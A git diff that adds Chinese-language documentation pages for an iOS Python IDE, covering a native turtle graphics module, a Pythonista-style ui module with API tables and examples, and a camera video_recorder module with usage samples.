+ + + diff --git a/docs/docs/pages/turtle-module/index.html b/docs/docs/pages/turtle-module/index.html new file mode 100644 index 0000000..f7f516a --- /dev/null +++ b/docs/docs/pages/turtle-module/index.html @@ -0,0 +1,355 @@ + + + + + + turtle - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

turtle

+

Tk-free 原生 turtle 绘图,兼容教材脚本、填充、多画笔和事件。

+
+ +
+

Tk-free native turtle graphics for teaching scripts and classic turtle programs.

+

#预期效果

+

运行示例后会出现原生 turtle 画布,绘制填充五角星并等待点击关闭。

+

#适用场景

+

turtle 是 App 内置模块,用户直接写 import turtlefrom turtle import *。使用原生绘图能力,不依赖 _tkinter,适合教材代码、几何绘图、填充图形、多画笔、点击/拖拽/键盘/定时器交互。

+
  • 导入:import turtle
+

#失败路径

+
情况应该怎么处理
画布不刷新静态复杂图使用 tracer(0) 后手动调用 update()
教材代码依赖 Tk 对象getcanvas() 只提供常见兼容方法;需要完整桌面 Tk 能力时应改写。
动画过快或卡顿调整 speed()delay()ontimer(),避免超大循环阻塞主线程。
需要游戏物理或精灵使用 scene,不要在 turtle 中手写完整游戏循环。
+

#使用规则

+
  • 用户代码写法保持标准 turtle 风格;不要提示用户安装 PyPI 上的 turtle 包。
  • 本实现不支持完整 Tk Canvas 对象;getcanvas() 只提供常见兼容占位方法。
  • 复杂静态图优先使用 tracer(0)update();动画用 speed()ontimer() 或普通 turtle 循环。
  • iOS 画布支持自动适配内容,用户也可以双指缩放/平移查看大图。
+

#标准示例

+
+
+ python +
+
+
import turtle
+
+screen = turtle.Screen()
+screen.title("Turtle Demo")
+screen.bgcolor("black")
+screen.tracer(0)
+
+pen = turtle.Turtle()
+pen.shape("turtle")
+pen.speed(0)
+pen.pensize(2)
+pen.color("cyan", "magenta")
+
+pen.begin_fill()
+for _ in range(5):
+    pen.forward(140)
+    pen.right(144)
+pen.end_fill()
+
+pen.penup()
+pen.goto(0, -160)
+pen.color("white")
+pen.write("Native turtle", align="center", font=("Arial", 18, "bold"))
+
+screen.update()
+screen.exitonclick()
+
+

#常用 API

+
类型API说明
classScreen()获取全局 turtle 画布。
classTurtle()创建画笔,支持多 turtle。
motionforward(), backward(), goto(), setx(), sety(), home()移动与定位。
angleleft(), right(), setheading(), heading(), degrees(), radians(), mode()角度、方向和 logo 模式。
drawingpensize(), pencolor(), fillcolor(), color(), dot(), circle()线条、颜色、圆弧和点。
fillbegin_fill(), end_fill(), filling()填充路径。
cursorshape(), shapesize(), hideturtle(), showturtle(), stamp()光标、印章和自定义形状。
screentitle(), bgcolor(), setup(), screensize(), setworldcoordinates()画布配置。
rendertracer(), update(), speed(), delay()刷新和动画速度。
eventsonclick(), ondrag(), onrelease(), onkey(), ontimer(), listen()触摸、拖拽、键盘和定时器。
dialogstextinput(), numinput()系统输入弹窗。
lifecycledone(), mainloop(), exitonclick(), bye(), save()等待、关闭和 PNG 保存。
+

#完整公开名称

+

Screen, Turtle, RawTurtle, TurtleScreen, Pen, Vec2D, Shape, TurtleGraphicsError, forward, fd, backward, back, bk, right, rt, left, lt, goto, setpos, setposition, setx, sety, setheading, seth, home, circle, dot, stamp, clearstamp, clearstamps, undo, speed, position, pos, towards, xcor, ycor, heading, distance, degrees, radians, pendown, pd, down, penup, pu, up, isdown, pensize, width, pencolor, fillcolor, color, begin_fill, end_fill, filling, reset, clear, write, hideturtle, ht, showturtle, st, isvisible, shape, shapesize, turtlesize, resizemode, tilt, tiltangle, settiltangle, bgcolor, bgpic, title, setup, screensize, setworldcoordinates, window_width, window_height, tracer, update, delay, listen, onkey, onkeypress, onkeyrelease, onclick, ondrag, onrelease, onscreenclick, ontimer, textinput, numinput, done, mainloop, exitonclick, bye, getcanvas, colormode, register_shape, addshape, mode, save.

+

#兼容说明

+

register_shape() / addshape() 支持内置形状、polygon、compound,以及图片文件路径占位。postscript() 在 iOS 上会保存 PNG 路径,不生成 PostScript 文本。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/ui-api-index/index.html b/docs/docs/pages/ui-api-index/index.html new file mode 100644 index 0000000..9263eb1 --- /dev/null +++ b/docs/docs/pages/ui-api-index/index.html @@ -0,0 +1,339 @@ + + + + + + ui API 索引 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

ui API 索引

+

按类族、工具函数和常量族快速查 ui 公开名称。

+
+ +
+

按类族、工具函数和常量族快速查 ui 公开名称。

+

#预期效果

+

示例会展示 ui.Viewui.Buttonpresent() 的最小组合;索引用来快速定位类、函数、常量和常见方法族。

+

#最小入口

+
+
+ python +
+
+
import ui
+
+
+def tapped(sender):
+    sender.title = "Tapped"
+
+
+view = ui.View(frame=(0, 0, 320, 220))
+view.name = "ui demo"
+
+button = ui.Button(frame=(40, 88, 240, 44), title="Tap")
+button.action = tapped
+
+view.add_subview(button)
+view.present("sheet")
+
+

#先看哪一类

+
你要做什么先看
打开一个简单命令式页面ViewButtonpresent
做标签、输入、开关、滑块LabelTextFieldTextViewSwitchSlider
做表格或滚动内容TableViewListDataSourceScrollView
做手势交互TapGestureRecognizerPanGestureRecognizerLongPressGestureRecognizer
做离屏绘图或自绘视图ImageContextCanvasViewPathdraw_string
处理颜色、字体和尺寸ColorFontRectparse_colormeasure_string
+

#索引

+
分组名称
函数parse_color, parse_font, begin_image_context, end_image_context, get_image_from_current_context, set_color, fill_rect, stroke_rect, draw_string, get_screen_size, get_window_size, get_keyboard_frame, get_ui_style, measure_string, delay, cancel_delays, in_background, animate, convert_point, convert_rect, set_blend_mode, set_shadow, load_view, load_view_str, close_all, dump_view
Color, Point, Size, Rect, Transform, Touch, GestureSender, GestureRecognizer, TapGestureRecognizer, PanGestureRecognizer, PinchGestureRecognizer, SwipeGestureRecognizer, LongPressGestureRecognizer, Font, View, ButtonItem, Button, Label, TextField, TextView, ImageView, WebView, ActivityIndicator, TableView, ListDataSource, TableViewCell, Switch, Slider, SegmentedControl, DatePicker, ProgressView, Stepper, NavigationView, ScrollView, Path, GState, ImageContext, Image, CanvasView, autoreleasepool
方法Color.rgb, Color.hex, Color.named, Point.as_tuple, Rect.min_x, Rect.min_y, Rect.max_x, Rect.max_y, Rect.origin, Rect.size, Rect.center, Rect.as_tuple, Rect.contains_point, Rect.contains_rect, Rect.inset, Rect.intersection, Rect.intersects, Rect.translate, Rect.union, Transform.rotation, Transform.scale, Transform.translation, Transform.concat, Transform.invert, GestureRecognizer.action, GestureRecognizer.action, TapGestureRecognizer.number_of_taps_required, TapGestureRecognizer.number_of_taps_required, TapGestureRecognizer.number_of_touches_required, TapGestureRecognizer.number_of_touches_required, SwipeGestureRecognizer.direction, SwipeGestureRecognizer.direction, LongPressGestureRecognizer.minimum_press_duration, LongPressGestureRecognizer.minimum_press_duration, Font.system_font_of_size, Font.bold_system_font_of_size, Font.italic_system_font_of_size, View.frame, View.frame, View.x, View.x, View.y, View.y, View.width, View.width, View.height, View.height, View.background_color, View.background_color, View.alpha, View.alpha, View.hidden, View.hidden, View.corner_radius, View.corner_radius, View.border_width, View.border_width, View.title, View.title, View.content_mode, View.content_mode, View.touch_enabled, View.touch_enabled, View.multitouch_enabled, View.multitouch_enabled, View.transform, View.transform, View.bg_color, View.bg_color, View.tint_color, View.tint_color, View.left_button_items, View.left_button_items, View.right_button_items, View.right_button_items, View.border_color, View.border_color, View.flex, View.flex, View.name, ... (365 total)
常量ALIGN_LEFT, ALIGN_CENTER, ALIGN_RIGHT, ALIGN_JUSTIFIED, ALIGN_NATURAL, LB_WORD_WRAP, LB_CHAR_WRAP, LB_CLIP, LB_TRUNCATE_HEAD, LB_TRUNCATE_TAIL, LB_TRUNCATE_MIDDLE, KEYBOARD_DEFAULT, KEYBOARD_ASCII, KEYBOARD_NUMBERS, KEYBOARD_URL, KEYBOARD_NUMBER_PAD, KEYBOARD_PHONE_PAD, KEYBOARD_NAME_PHONE_PAD, KEYBOARD_EMAIL, KEYBOARD_DECIMAL_PAD, KEYBOARD_TWITTER, KEYBOARD_WEB_SEARCH, BLEND_NORMAL, BLEND_MULTIPLY, BLEND_SCREEN, BLEND_OVERLAY, BLEND_DARKEN, BLEND_LIGHTEN, BLEND_COLOR_DODGE, BLEND_COLOR_BURN, BLEND_SOFT_LIGHT, BLEND_HARD_LIGHT, BLEND_DIFFERENCE, BLEND_EXCLUSION, BLEND_HUE, BLEND_SATURATION, BLEND_COLOR, BLEND_LUMINOSITY, BLEND_CLEAR, BLEND_COPY, BLEND_SOURCE_IN, BLEND_SOURCE_OUT, BLEND_SOURCE_ATOP, BLEND_DESTINATION_OVER, BLEND_DESTINATION_IN, BLEND_DESTINATION_OUT, BLEND_DESTINATION_ATOP, BLEND_XOR, BLEND_PLUS_DARKER, BLEND_PLUS_LIGHTER, LINE_CAP_BUTT, LINE_CAP_ROUND, LINE_CAP_SQUARE, LINE_JOIN_MITER, LINE_JOIN_ROUND, LINE_JOIN_BEVEL, RENDERING_MODE_AUTOMATIC, RENDERING_MODE_ORIGINAL, RENDERING_MODE_TEMPLATE, CONTENT_SCALE_TO_FILL, CONTENT_SCALE_ASPECT_FIT, CONTENT_SCALE_ASPECT_FILL, CONTENT_REDRAW, CONTENT_CENTER, CONTENT_TOP, CONTENT_BOTTOM, CONTENT_LEFT, CONTENT_RIGHT, CONTENT_TOP_LEFT, CONTENT_TOP_RIGHT, CONTENT_BOTTOM_LEFT, CONTENT_BOTTOM_RIGHT, DATE_PICKER_MODE_TIME, DATE_PICKER_MODE_DATE, DATE_PICKER_MODE_DATE_AND_TIME, DATE_PICKER_MODE_COUNTDOWN, ACTIVITY_INDICATOR_STYLE_GRAY, ACTIVITY_INDICATOR_STYLE_WHITE, ACTIVITY_INDICATOR_STYLE_WHITE_LARGE
+

#失败路径

+
情况应该怎么处理
页面空白确认已创建根 ui.View,设置了非零 frame,并调用 present(...)
点击无反应回调要赋函数对象,例如 button.action = tapped,不要写成 tapped()
布局错位检查 frameflex 和父视图尺寸;复杂响应式页面优先改用 appui
输入或列表状态难维护把新页面迁到 appui.StateFormListNavigationStack
+

#相关文档

+
文档用途
ui 概览Pythonista 风格原生视图、控件、手势和绘图。
ui API 参考集中列出 ui 构造签名、回调入口、工具函数和常量提示。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/ui-api-reference/index.html b/docs/docs/pages/ui-api-reference/index.html new file mode 100644 index 0000000..ef14cc7 --- /dev/null +++ b/docs/docs/pages/ui-api-reference/index.html @@ -0,0 +1,391 @@ + + + + + + ui API 参考 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

ui API 参考

+

集中列出 ui 构造签名、回调入口、工具函数和常量提示。

+
+ +
+

ui 是 Pythonista 风格的命令式原生 UI。它适合迁移 Pythonista 风格脚本、手动 frame 布局和需要直接控制 UIKit 风格视图的场景。新 MiniApp 的表单、列表、导航和设置页优先用 appui

+

#预期效果

+

示例会展示命令式控件、sender 回调和自定义绘图;API 表用于确认常用控件、布局属性和工具函数。

+

#最小页面

+
+
+ python +
+
+
import ui
+
+
+def tapped(sender):
+    sender.title = "Tapped"
+
+
+view = ui.View(frame=(0, 0, 320, 220))
+view.name = "ui demo"
+
+button = ui.Button(frame=(40, 88, 240, 44), title="Tap")
+button.action = tapped
+
+view.add_subview(button)
+view.present("sheet")
+
+

#视图和布局

+
API用途
View(frame=...)所有 ui 组件的基类
view.frame(x, y, width, height)
view.flexPythonista 风格自动伸缩规则
view.add_subview(child)添加子视图
view.remove_from_superview()从父视图移除
view.present(style="sheet")展示视图
view.close()关闭视图
view.layout()子类中重写,处理尺寸变化
view.draw()子类中重写,自定义绘制
+

#常用控件

+
API用途
Button(frame=..., title=...)按钮,回调用 button.action = func
Label(frame=..., text=...)文本标签
TextField(frame=..., placeholder=...)单行输入
TextView(frame=..., text=...)多行输入
ImageView(frame=...)图片显示
WebView(frame=...)网页显示
TableView(frame=...)表格列表
Switch(frame=...)开关
Slider(frame=...)滑块
SegmentedControl(frame=...)分段控件
DatePicker(frame=...)日期选择
ProgressView(frame=...)进度条
NavigationView(view)命令式导航容器
ScrollView(frame=...)滚动容器
+

#输入回调

+

ui 的回调通常接收 sender。按钮点击后修改 sender 或其它已保存的视图引用。

+
+
+ python +
+
+
import ui
+
+
+def slider_changed(sender):
+    label.text = f"{sender.value:.0%}"
+
+
+view = ui.View(frame=(0, 0, 320, 180))
+label = ui.Label(frame=(40, 40, 240, 32), text="50%")
+slider = ui.Slider(frame=(40, 88, 240, 32))
+slider.value = 0.5
+slider.action = slider_changed
+
+view.add_subview(label)
+view.add_subview(slider)
+view.present("sheet")
+
+

#绘图

+

自定义绘图通过重写 draw(),或使用离屏图片上下文。

+
+
+ python +
+
+
import ui
+
+
+class Badge(ui.View):
+    def draw(self):
+        ui.set_color("#3478F6")
+        ui.fill_rect(0, 0, self.width, self.height)
+        ui.draw_string(
+            "42",
+            rect=(0, 10, self.width, 40),
+            font=("<system-bold>", 28),
+            color="white",
+            alignment=ui.ALIGN_CENTER,
+        )
+
+
+badge = Badge(frame=(0, 0, 96, 64))
+badge.present("sheet")
+
+

#工具函数

+
API用途
parse_color(value)解析颜色
parse_font(value)解析字体
measure_string(text, ...)测量文本尺寸
delay(seconds, func)延迟执行
cancel_delays()取消 delay
in_background(func)后台线程装饰器
animate(animation, duration=...)执行动画
get_screen_size()屏幕尺寸
get_keyboard_frame()键盘 frame
load_view(...)加载 .pyui
dump_view(view)调试视图树
+

#失败路径

+
情况应该怎么处理
页面空白确认已创建根 ui.View,设置了非零 frame,并调用 present(...)
点击无反应回调要赋函数对象,例如 button.action = tapped,不要写成 tapped()
布局错位检查 frameflex 和父视图尺寸;复杂响应式页面优先改用 appui
输入或列表状态难维护把新页面迁到 appui.StateFormListNavigationStack
+

#使用规则

+
  • ui 页面必须显式设置 frameflex
  • 不要把 ui 组件和 appui 组件放进同一棵界面树。
  • 需要系统原生列表、设置、导航和响应式状态时优先用 appui
  • 回调传函数本身,例如 button.action = tapped,不要写成 button.action = tapped()
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/ui-module/index.html b/docs/docs/pages/ui-module/index.html new file mode 100644 index 0000000..7fd2f49 --- /dev/null +++ b/docs/docs/pages/ui-module/index.html @@ -0,0 +1,341 @@ + + + + + + ui 概览 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

ui 概览

+

Pythonista 风格原生 UI 组件与交互。

+
+ +
+

Pythonista 风格原生 UI 组件与交互。

+

#预期效果

+

运行示例后会出现一个手动 frame 布局的原生 sheet,点击按钮会直接修改按钮标题。

+

#适用场景

+

Pythonista 风格命令式 UI,使用 frame/flex 手动布局;新 MiniApp 默认优先用 appui。

+

#先选写法

+
需求首选原因
迁移 Pythonista 风格的 ui 脚本ui代码通常已经按 Viewframeaction(sender) 组织。
新建设置页、表单、列表或多页面工具appui状态、导航、输入和动态列表更容易维护。
需要 Sprite、触摸循环、物理或逐帧绘制scene场景生命周期和渲染循环更适合动画与小游戏。
只需要桌面小组件widget小组件有独立的 WidgetKit 约束和刷新模型。
只想生成一张图片或画布ui.ImageContext / CanvasView不需要完整页面时,离屏绘图更轻。
+

#标准示例

+
+
+ python +
+
+
import ui
+
+def tapped(sender):
+    sender.title = "Tapped"
+
+view = ui.View(frame=(0, 0, 320, 220))
+view.name = "ui demo"
+button = ui.Button(frame=(40, 80, 240, 44), title="Tap")
+button.action = tapped
+view.add_subview(button)
+view.present("sheet")
+
+

#写 ui 的心智模型

+
  1. 根视图:创建一个有明确尺寸的 ui.View(frame=...)
  2. 子视图:按钮、标签、输入框和图片用 add_subview(...) 挂到父视图。
  3. 布局:用 frame 设定初始位置,用 flex 处理简单的横竖屏变化。
  4. 交互:控件回调接收 sender,在回调里修改标题、文本、颜色或子视图。
  5. 呈现:脚本末尾调用一次 present(...),不要在导入模块时弹出多个页面。
  6. 迁移:当状态、列表和导航开始变复杂,就把新页面迁到 appui
+

#API 参考

+
类型API签名说明
classColorColor(r: float, g: float, b: float, a: float=1.0) -> None颜色类,兼容Pythonista的ui.Color
classPointPoint(x: Union[float, Sequence[float]]=0.0, y: float=0.0) -> None二维点,兼容 Pythonista 的 ui.Point
classSizeSize(w: Union[float, Sequence[float]]=0.0, h: float=0.0) -> None尺寸,兼容 Pythonista 的 ui.Size
classRectRect(x: Union[float, Sequence[float]]=0.0, y: float=0.0, w: float=0.0, h: float=0.0) -> None矩形,兼容 Pythonista 的 ui.Rect
classTransformTransform(a: float=1.0, b: float=0.0, c: float=0.0, d: float=1.0, tx: float=0.0, ty: float=0.0) -> None2D 仿射变换,兼容 Pythonista 的 ui.Transform
classTouchTouch(location: Sequence[float]=..., prev_location: Optional[Sequence[float]]=..., phase: str=..., touch_id: int=..., timestamp: Union[int, float]=...) -> None触摸事件,兼容 Pythonista 的 ui.Touch(简化实现)
classGestureSenderGestureSender(view: Optional[View]=..., state: int=..., location: Sequence[float]=..., translation: Sequence[float]=..., scale: float=..., direction: int=...) -> None手势识别器回调的 sender 对象,兼容 Pythonista(state, location, translation, scale, direction)
classGestureRecognizerGestureRecognizer(gesture_id: str) -> None手势识别器基类,兼容 Pythonista(action(sender))
classTapGestureRecognizerTapGestureRecognizer() -> None点击手势(Pythonista 兼容)
classPanGestureRecognizerPanGestureRecognizer() -> None拖动手势(Pythonista 兼容)
classPinchGestureRecognizerPinchGestureRecognizer() -> None捏合手势(Pythonista 兼容)
classSwipeGestureRecognizerSwipeGestureRecognizer() -> None滑动手势(Pythonista 兼容),direction: LEFT=1, RIGHT=2, UP=3, DOWN=4
classLongPressGestureRecognizerLongPressGestureRecognizer() -> None长按手势(Pythonista 兼容)
functionparse_colorparse_color(color: Any) -> Tuple[float, float, float, float]解析颜色参数为RGBA元组,支持语义色(systemBackground 等)自适应深色/浅色模式
classFontFont(name: str=..., size: float=...) -> None字体类,兼容Pythonista的ui.Font
functionparse_fontparse_font(font: Any) -> Tuple[str, float]解析字体参数为(name, size)元组
classViewView(frame: Optional[_Frame]=..., **kwargs: Any) -> None视图基类,所有UI组件的父类
classButtonItemButtonItem(title: str=..., image: Any=..., action: Optional[Callable[..., Any]]=..., **kwargs: Any) -> None导航栏按钮项,用于 left_button_items / right_button_items
classButtonButton(frame: Optional[_Frame]=..., title: str=..., **kwargs: Any) -> None按钮组件
classLabelLabel(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None文本标签组件
classTextFieldTextField(frame: Optional[_Frame]=..., text: str=..., placeholder: str=..., **kwargs: Any) -> None单行文本输入组件
classTextViewTextView(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None多行文本输入组件
classImageViewImageView(frame: Optional[_Frame]=..., **kwargs: Any) -> None图片显示组件
classWebViewWebView(frame: Optional[_Frame]=..., **kwargs: Any) -> None网页视图
classActivityIndicatorActivityIndicator(frame: Optional[_Frame]=..., **kwargs: Any) -> None加载指示器
classTableViewTableView(frame: Optional[_Frame]=..., **kwargs: Any) -> None表格视图
classListDataSourceListDataSource() -> NoneTableView 数据源协议 子类实现 tableview_number_of_sections, tableview_number_of_rows, tableview_cell_for_row 等
classTableViewCellTableViewCell(style: str=..., **kwargs: Any) -> None表格行单元,兼容 Pythonista
classSwitchSwitch(frame: Optional[_Frame]=..., value: bool=..., **kwargs: Any) -> None开关组件
classSliderSlider(frame: Optional[_Frame]=..., **kwargs: Any) -> None滑块组件
classSegmentedControlSegmentedControl(frame: Optional[_Frame]=..., **kwargs: Any) -> None分段控制器
classDatePickerDatePicker(frame: Optional[_Frame]=..., **kwargs: Any) -> None日期时间选择器
classProgressViewProgressView(frame: Optional[_Frame]=..., **kwargs: Any) -> None进度条组件,兼容 Pythonista 的 ui.ProgressView
classStepperStepper(frame: Optional[_Frame]=..., **kwargs: Any) -> None步进器组件,兼容 Pythonista 的 ui.Stepper
classNavigationViewNavigationView(view: Optional[View]=..., **kwargs: Any) -> None导航视图,支持 push_view / pop_view 兼容 Pythonista 的 ui.NavigationView
classScrollViewScrollView(frame: Optional[_Frame]=..., **kwargs: Any) -> None滚动视图,兼容 Pythonista 的 ui.ScrollView 可容纳超出可见区域的子视图并支持滚动
classPathPath() -> None路径类,兼容 Pythonista 的 ui.Path 在 ImageContext 内使用
classGStateGState()with ui.GState(): 保存和恢复绘图状态
classImageContextImageContext(width: float, height: float) -> None离屏绘图上下文,兼容 Pythonista 的 ui.ImageContext with ui.ImageContext(100, 100) as ctx: ui.set_color('red') ui.fill_rect(0, 0, 50, 50) img = ctx.get_image() # 可在 with 块内调用,会立即结束上下文并返回图像
classImageImage(data: bytes=...) -> None图像类,兼容 Pythonista 的 ui.Image
functionbegin_image_contextbegin_image_context(width: float, height: float) -> NoneStart an image drawing context (Pythonista-compatible standalone function).
functionend_image_contextend_image_context() -> NoneEnd the current image drawing context.
functionget_image_from_current_contextget_image_from_current_context() -> ImageCapture the current drawing context as an Image. Call before end_image_context() to get the drawn image, or after end_image_context() to retrieve the last captured result.
functionset_colorset_color(color: _ColorLike) -> None设置当前绘图颜色
functionfill_rectfill_rect(x: float, y: float, w: float, h: float) -> None填充矩形
functionstroke_rectstroke_rect(x: float, y: float, w: float, h: float) -> None描边矩形
functiondraw_stringdraw_string(text: str, rect: Any=..., font: _FontLike=..., color: _ColorLike=..., alignment: int=..., line_break_mode: int=...) -> None绘制字符串 rect: (x, y, w, h) 元组
classCanvasViewCanvasView(frame: Optional[_Frame]=..., **kwargs: Any) -> None画布视图,通过 render(draw_func) 自绘内容 兼容 Pythonista 的 ui 画布用法
functionget_screen_sizeget_screen_size() -> Tuple[float, float]获取屏幕尺寸
functionget_window_sizeget_window_size() -> Size获取窗口尺寸(同 get_screen_size)
functionget_keyboard_frameget_keyboard_frame() -> Tuple[float, float, float, float]获取键盘在屏幕上的 frame (x, y, width, height);未显示时为 (0, 0, 0, 0)(Pythonista 兼容)
functionget_ui_styleget_ui_style() -> str获取当前 UI 风格:'light' 或 'dark'(Pythonista 兼容)
functionmeasure_stringmeasure_string(text: str, max_width: float=..., font: _FontLike=..., alignment: int=..., line_break_mode: int=...) -> Tuple[float, float]测量字符串尺寸,返回 (width, height)
functiondelaydelay(seconds: float, func: Callable[..., Any]) -> None延迟 seconds 秒后执行 func(Pythonista 兼容)。可用 cancel_delays() 取消未执行的 delay。
functioncancel_delayscancel_delays() -> None取消所有通过 delay() 调度且尚未执行的回调(Pythonista 兼容)
functionin_backgroundin_background(fn: Callable[..., Any]) -> Callable[..., None]装饰器:在后台线程执行函数
functionanimateanimate(animation: Callable[[], Any], duration: float=..., delay_sec: float=..., completion: Optional[Callable[[], Any]]=...) -> None执行动画。按指定延迟执行动画回调,并在 duration 秒后执行 completion。注意:回调异步执行,适合轻量属性更新。
functionconvert_pointconvert_point(point: Any=..., from_view: Optional[View]=..., to_view: Optional[View]=...) -> Point坐标转换。from_view/to_view 为 None 表示窗口坐标系
functionconvert_rectconvert_rect(rect: Any=..., from_view: Optional[View]=..., to_view: Optional[View]=...) -> Rect矩形坐标转换
functionset_blend_modeset_blend_mode(mode: int) -> None设置绘图混合模式 (BLEND_* 常量)
functionset_shadowset_shadow(color: Optional[_ColorLike], offset_x: float, offset_y: float, blur_radius: float) -> None设置阴影。color 为 None 时清除阴影
classautoreleasepoolautoreleasepool()autoreleasepool 上下文(Python 中为 no-op)
functionload_viewload_view(name: Optional[str]=..., bindings: Optional[Dict[str, Any]]=..., stackframe: Any=..., verbose: bool=...) -> View加载 .pyui 文件。 name: 文件名(不含扩展名会自动加 .pyui) bindings: 名称到可调用对象的映射,用于绑定 action 等
functionload_view_strload_view_str(json_str: str, bindings: Optional[Dict[str, Any]]=..., stackframe: Any=..., verbose: bool=...) -> View从 JSON 字符串加载视图
functionclose_allclose_all(animated: bool=...) -> None关闭所有已展示的 UI 界面(Pythonista 兼容)
functiondump_viewdump_view(view: View, indent: int=...) -> None调试输出视图树(Pythonista 兼容)
+

#失败路径

+
情况应该怎么处理
页面空白确认已创建根 ui.View,设置了非零 frame,并调用 present(...)
点击无反应回调要赋函数对象,例如 button.action = tapped,不要写成 tapped()
布局错位检查 frameflex 和父视图尺寸;复杂响应式页面优先改用 appui
输入或列表状态难维护把新页面迁到 appui.StateFormListNavigationStack
+

#发布前检查

+
检查项合格标准
根视图有非零 frame,并设置清晰的 name 或标题。
子视图所有控件都已加入父视图,位置不依赖魔法数字之外的隐式状态。
回调action 传函数对象,不写成 action=handler()
布局横竖屏或不同窗口尺寸下,关键控件不会移出可见区域。
边界新功能不混用 uiappui 组件树。
+

#使用规则

+
  • 不要把 ui 组件和 appui 组件混在同一棵界面树里。
  • 需要响应式原生表单、列表或导航时优先选 appui。
  • ui 页面必须显式设置 frame/flex,并通过 present(...) 呈现。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/video-recorder-module/index.html b/docs/docs/pages/video-recorder-module/index.html new file mode 100644 index 0000000..3691b02 --- /dev/null +++ b/docs/docs/pages/video-recorder-module/index.html @@ -0,0 +1,448 @@ + + + + + + video_recorder - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

video_recorder

+

摄像头录像保存为文件。

+
+ +
+

摄像头录像:把视频保存为 .mov 文件到 App Documents 目录。

+
边界:需要相机权限;统一 permissionrequest("camera") 暂不支持弹窗,在 start() 上用 try/except VideoRecorderError 处理失败。拍照见 camera / photos。录像只能放在用户操作回调里,不要在 body() 中调用。
+

#模块概览

+
说明
导入import video_recorder
适合做什么短视频采集、现场记录、后续 media_composer 剪辑
调用时机start() / stop() 放在按钮回调
推荐顺序start() → 轮询 status()stop() 拿文件信息
有状态支持 cancel() 丢弃半成品;不可重复 start()
+
+

#快速开始

+

下面脚本开始录像、等待几秒后停止并打印文件信息:

+
+
+ python +
+
+
import time
+import video_recorder
+
+try:
+    path = video_recorder.start()
+    print("录像中:", path)
+    time.sleep(3)
+    info = video_recorder.stop()
+    if info:
+        print("已保存:", info["path"])
+        print("时长:", info["duration"], "秒")
+        print("大小:", info["size"], "字节")
+except video_recorder.VideoRecorderError as exc:
+    print("录像失败:", exc, f"code={exc.code}")
+
+
+

#AppUI 示例

+

开始/停止放在按钮回调;用 Timer 轮询录制时长。

+
+
+ python +
+
+
import appui
+import video_recorder
+
+state = appui.State(
+    recording=False,
+    path="",
+    seconds=0.0,
+    status="点击开始录像",
+)
+
+
+def tick():
+    if not state.recording:
+        return
+    st = video_recorder.status()
+    state.seconds = float(st.get("duration", 0.0))
+
+
+poll_timer = appui.Timer(interval=0.2, repeats=True, action=tick)
+
+
+def toggle_recording():
+    if state.recording:
+        poll_timer.stop()
+        info = video_recorder.stop() or {}
+        state.batch_update(
+            recording=False,
+            path=info.get("path", ""),
+            status=f"已保存 · {info.get('duration', 0):.1f}s",
+        )
+        return
+
+    try:
+        path = video_recorder.start(camera="back")
+        state.batch_update(
+            recording=True,
+            path=path or "",
+            status="录像中…",
+        )
+        poll_timer.start()
+    except video_recorder.VideoRecorderError as exc:
+        state.status = f"无法开始: {exc}(请检查相机权限)"
+
+
+def cancel_recording():
+    if not state.recording:
+        return
+    poll_timer.stop()
+    video_recorder.cancel()
+    state.batch_update(
+        recording=False,
+        path="",
+        seconds=0.0,
+        status="已取消并删除临时文件",
+    )
+
+
+def body():
+    label = "停止录像" if state.recording else "开始录像"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("录像", [
+                appui.LabeledContent("状态", value=state.status),
+                appui.LabeledContent("时长", value=f"{state.seconds:.1f} 秒"),
+                appui.Text(state.path).font("caption").foreground_color("secondaryLabel"),
+            ]),
+            appui.Section("操作", [
+                appui.Button(label, action=toggle_recording)
+                .button_style("bordered_prominent"),
+                appui.Button("取消录像", action=cancel_recording, role="destructive"),
+            ], footer="真机测试最可靠;需相机权限。"),
+        ]).navigation_title("录像")
+    )
+
+
+appui.run(body, state=state)
+
+
+

#API 参考

+

#速查

+
API作用
start(path, camera, quality)开始录像 → 文件路径
stop()停止 → {path, duration, size}
cancel()停止并删除半成品
status(){recording, duration, path}
VideoRecorderError操作失败时抛出
+

#录像控制

+

start(path=None, camera="back", quality="high")

+
+
+ python +
+
+
path = video_recorder.start()
+path = video_recorder.start(camera="front")
+
+
参数说明
path输出路径;省略时自动生成到 Documents
cameraback(后置)/ front(前置)
quality兼容参数,当前 Bridge 可能忽略
+

stop() — 返回 {path, duration, size};未录像时返回空字典。

+

cancel() — 丢弃半成品文件。

+

#状态

+

status() 返回:

+
字段说明
recording是否正在录像
duration已录秒数
path当前输出路径
+

#异常

+
code含义
already_recording重复 start()
unavailable相机不可用或无法添加输出
unknown_commandBridge 命令错误
+
+

#常见错误

+
错误写法后果修正
body()start()刷新时重复录像放进按钮回调
if permission.request("camera"):判断错误且暂不支持try/except 处理 start()
放弃录像不 cancel()留下垃圾文件调用 cancel()
audio_recorder 同时录硬件会话冲突分开使用,先停一个
+
+

#相关文档

+
文档用途
camera拍照
media_composer视频合并/导出
avplayer播放录像文件
permission相机权限状态查询
+

#预期效果

+

运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。

+
+ +
+ +
+ +
+
